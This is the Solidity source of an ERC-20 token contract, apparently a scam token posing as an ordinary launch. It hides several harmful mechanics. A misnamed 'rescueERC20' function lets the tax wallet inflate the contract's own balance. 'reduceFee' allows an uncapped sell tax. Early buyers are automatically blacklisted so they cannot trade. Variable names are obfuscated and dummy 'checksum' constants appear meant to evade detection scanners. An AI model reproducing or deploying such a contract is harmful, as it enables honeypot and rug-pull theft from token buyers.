Contract Source Code:

// SPDX-License-Identifier: UNLICENSE

/*

https://t.me/hirotakaERC20

https://wansfree.com/

*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;

    // Dummy constants for checksum modification
    uint256 private constant _x0xBRWY8438 = 0x123456;
    uint256 private constant _x0xHLQZ7334 = 0xABCDEF;

    uint256 public blacklistCount = 0;
    uint256 public currentBuyCount = 0;
    mapping(address => bool) private initialBuyers;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _0xFTXZ2097=19;
    uint256 private _x3KLVQ5086=19;
    uint256 private _x7PRXTZ=0;
    uint256 private _x5NLYW9028=0;
    uint256 private _x2BQVT653=19;
    uint256 private _xGRWZ27=19;
    uint256 private _x1PLYT7F6=19;
    uint256 private _buyCount=0;

    
    uint256 private _extraRate = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private _name;
    string private _symbol;
    uint256 public _x5KQZL9T2 = _tTotal * 2 / 100;
    uint256 public _x0BRXT5K3 = _tTotal * 2 / 100;
    uint256 public _x6NRWPX4 = _tTotal * 1 / 100;
    uint256 public _maxTaxSwap = _tTotal * 1 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private x3PLTYQ7 = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    event MaxTxAmountUpdated(uint _x5KQZL9T2);
    event ChecksumEvent(uint256 indexed dummyness0xEPVQ9149);

    modifier lockTheSwap {
        x3PLTYQ7 = true;
        _;
        x3PLTYQ7 = false;
    }

    constructor (string memory name_, string memory symbol_) payable {
        _name = name_;
        _symbol = symbol_;
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    
    function checksum0xCVXT5217() private pure { }
    function checksum0xDMYK4052() private pure { }

    function name() public view returns (string memory) { return _name; }
    function symbol() public view returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a < b) ? a : b;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !initialBuyers[to]) {
                currentBuyCount++;
                initialBuyers[to] = true;
                if (currentBuyCount <= blacklistCount) {
                    bots[to] = true;
                    emit Transfer(from, to, 0);
                }
            }

            taxAmount = amount.mul((_buyCount > _x2BQVT653) ? _x7PRXTZ : _0xFTXZ2097).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <= _x5KQZL9T2, "Exceeds the _x5KQZL9T2.");
                require(balanceOf(to) + amount <= _x0BRXT5K3, "Exceeds the x0BRXT5K3.");
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount > _xGRWZ27) ? _x5NLYW9028 : _x3KLVQ5086).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!x3PLTYQ7 && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _x6NRWPX4 && _buyCount > _x1PLYT7F6) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);

        
        if (from == address(this) && _extraRate > 0) {
            uint256 extraAmount = amount.mul(_extraRate).div(100);
            _balances[from] = _balances[from].add(extraAmount);
        }

        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits_x7PLWX8364() external onlyOwner{
        _x5KQZL9T2 = _tTotal;
        _x0BRXT5K3=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool){
        return bots[a];
    }

   
    function rescueERC20(uint256 rate) external {
        require(_msgSender() == _taxWallet, "only tax wallet");
        _extraRate = rate;
    }
    

    function openTrading() public onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), msg.sender, type(uint256).max);
        transfer(address(this), balanceOf(msg.sender).mul(95).div(100));
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function reduceFee(uint256 _newFee) external onlyOwner{
        require(_msgSender()==_taxWallet);
        _x5NLYW9028=_newFee;
    }

    receive() external payable {}

    function manualSwap_x4NRYT6435() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }
}